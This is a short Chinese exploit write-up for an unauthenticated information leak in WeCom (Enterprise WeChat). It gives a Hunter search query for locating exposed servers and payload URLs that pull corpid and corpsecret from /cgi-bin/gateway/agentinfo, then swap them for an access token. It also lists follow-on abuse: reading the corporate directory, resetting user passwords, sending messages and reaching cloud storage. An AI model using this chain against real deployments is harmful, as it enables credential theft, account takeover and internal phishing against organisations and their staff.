Q7-1企业微信-PermissionAC

漏洞描述：

企业微信/cgi-bin/gateway/agentinfo接口未授权情况下可直接获取企业微信secret等敏感信息，可导致企业微信全量数据被获取，文件获取、使用企业微信轻应用对内利用发送钓鱼文件和链接等风险。

网站图片：

网络测绘：

Hunter 语法：

- hunter：web.icon=="e1750fed09bcc7df102a0e593ffe2b69"

漏洞复现：

1. 通过泄露信息接口可以获取corpid和corpsecret

payload：

```
https://<企业微信域名>/cgi-bin/gateway/agentinfo
```

效果图:

1. 使用corpsecret和corpid获得token，其中corpid为上图中strcorpid、corpsecret为上图中Secre

```
https://<企业微信域名>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET
```

1. 使用token访问诸如企业通讯录信息，修改用户密码，发送消息，云盘等接口

具体利用查看企业微信开发者中心文档